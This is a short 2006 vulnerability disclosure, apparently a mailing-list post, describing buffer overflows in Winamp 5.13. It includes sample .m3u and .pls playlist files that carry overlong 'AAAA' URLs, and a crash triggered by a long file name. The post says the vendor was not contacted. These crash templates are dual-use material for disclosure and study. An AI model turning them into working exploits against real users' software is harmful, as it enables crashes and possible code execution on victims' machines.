Date : 2006-02-14
Original Message
This is an update on.
http://idefense.com/intelligence/vulnerabilities/display.php?id=378
and also a new overflow with .m3u
This overflow is still present in the latest version of winamp 5.13 with a little bit of modifcation.
FIRST VULN
==========
like so..
Example m3U file format:
#EXTM3U
#EXTINF:,VULN
http://AAAA[...]AA.wma
Example pls file format:
[playlist]
numberofentries=5
File1=http://AAAA[...]AA.wma
Title1=
Length5=-1
Version=2
add correct amount of A's untill overflow occurs.
SECOND VULN
============
This one is simple create a file with a long file name like so AAAA[...]AA.m3u save the file and open it and suprise winamp crashes.
=================================================
The vendor has not been contacted on these issues due to past unsuccessfull attempts on other issues and both remain vuln in the latest version of winamp.
